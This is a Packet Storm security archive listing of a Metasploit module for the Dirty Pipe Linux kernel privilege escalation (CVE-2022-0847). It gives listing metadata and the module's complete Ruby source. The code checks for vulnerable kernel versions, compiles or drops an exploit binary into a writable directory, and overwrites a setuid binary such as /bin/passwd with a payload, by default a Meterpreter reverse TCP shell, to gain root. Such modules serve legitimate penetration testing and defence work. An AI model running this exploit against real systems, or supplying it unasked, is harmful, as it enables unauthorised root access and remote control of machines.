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packetstormTimwr, Max Kellermann, metasploit.comPACKETSTORM:166258
HistoryMar 10, 2022 - 12:00 a.m.

Dirty Pipe Local Privilege Escalation

2022-03-1000:00:00
timwr, Max Kellermann, metasploit.com
packetstormsecurity.com
376

0.076 Low

EPSS

Percentile

94.2%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Kernel  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Compile  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Dirty Pipe Local Privilege Escalation via CVE-2022-0847',  
'Description' => %q{  
This exploit targets a vulnerability in the Linux kernel since 5.8, that allows  
writing of read only or immutable memory.  
  
The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.  
The module exploits this vulnerability by overwriting a suid binary with the  
payload, executing it, and then writing the original data back.  
  
There are two major limitations of this exploit: the offset cannot be on a page  
boundary (it needs to write one byte before the offset to add a reference to  
this page to the pipe), and the write cannot cross a page boundary.  
This means the payload must be less than the page size (4096 bytes).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Max Kellermann', # Original vulnerability discovery  
'timwr', # Metasploit Module  
],  
'DisclosureDate' => '2022-02-20',  
'SessionTypes' => ['shell', 'meterpreter'],  
'Platform' => [ 'linux' ],  
'Arch' => [  
ARCH_X64,  
ARCH_X86,  
ARCH_ARMLE,  
ARCH_AARCH64,  
],  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'AppendExit' => true,  
'PrependSetresuid' => true,  
'PrependSetresgid' => true,  
'PrependSetreuid' => true,  
'PrependSetuid' => true,  
'PrependFork' => true,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
},  
'Privileged' => true,  
'References' => [  
[ 'CVE', '2022-0847' ],  
[ 'URL', 'https://dirtypipe.cm4all.com' ],  
[ 'URL', 'https://haxx.in/files/dirtypipez.c' ],  
],  
'Notes' => {  
'AKA' => [ 'Dirty Pipe' ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
}  
)  
)  
register_options([  
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('SUID_BINARY_PATH', [ false, 'The path to a suid binary', '/bin/passwd' ])  
])  
end  
  
def check  
arch = kernel_arch  
unless live_compile? || arch.include?('x64') || arch.include?('aarch64') || arch.include?('x86') || arch.include?('armle')  
return CheckCode::Safe("System architecture #{arch} is not supported without live compilation")  
end  
  
kernel_version = Rex::Version.new kernel_release.split('-').first  
if kernel_version < Rex::Version.new('5.8') ||  
kernel_version >= Rex::Version.new('5.16.11') ||  
(kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) ||  
(kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11'))  
return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")  
end  
  
CheckCode::Appears("Linux kernel version found: #{kernel_version}")  
end  
  
def exp_dir  
datastore['WRITABLE_DIR']  
end  
  
def exploit  
suid_binary_path = datastore['SUID_BINARY_PATH']  
fail_with(Failure::BadConfig, 'The suid binary was not found; try setting SUID_BINARY_PATH') if suid_binary_path.nil?  
fail_with(Failure::BadConfig, "The #{suid_binary_path} binary setuid bit is not set") unless setuid?(suid_binary_path)  
  
arch = kernel_arch  
vprint_status("Detected architecture: #{arch}")  
vprint_status("Detected payload arch: #{payload.arch.first}")  
unless arch == payload.arch.first  
fail_with(Failure::BadConfig, 'Payload/Host architecture mismatch. Please select the proper target architecture')  
end  
  
payload_data = generate_payload_exe[1..] # trim the first byte (0x74)  
if payload_data.length > 4095  
fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)")  
end  
  
fail_with(Failure::BadConfig, "#{exp_dir} is not writable") unless writable?(exp_dir)  
exploit_file = "#{exp_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"  
  
if live_compile?  
vprint_status('Live compiling exploit on system...')  
exploit_c = exploit_data('CVE-2022-0847', 'CVE-2022-0847.c')  
exploit_c.sub!(/payload_bytes.*$/, "payload_bytes[#{payload_data.length}] = {#{Rex::Text.to_num(payload_data)}};")  
upload_and_compile(exploit_file, exploit_c)  
else  
vprint_status('Dropping pre-compiled exploit on system...')  
exploit_bin = exploit_data('CVE-2022-0847', "CVE-2022-0847-#{arch}")  
payload_placeholder_index = exploit_bin.index('PAYLOAD_PLACEHOLDER')  
exploit_bin[payload_placeholder_index, payload_data.length] = payload_data  
upload_and_chmodx(exploit_file, exploit_bin)  
end  
  
register_file_for_cleanup(exploit_file)  
overwrite_file_path = datastore['SUID_BINARY_PATH']  
  
cmd = "#{exploit_file} #{overwrite_file_path}"  
print_status("Executing exploit '#{cmd}'")  
result = cmd_exec(cmd)  
vprint_status("Exploit result:\n#{result}")  
end  
end  
`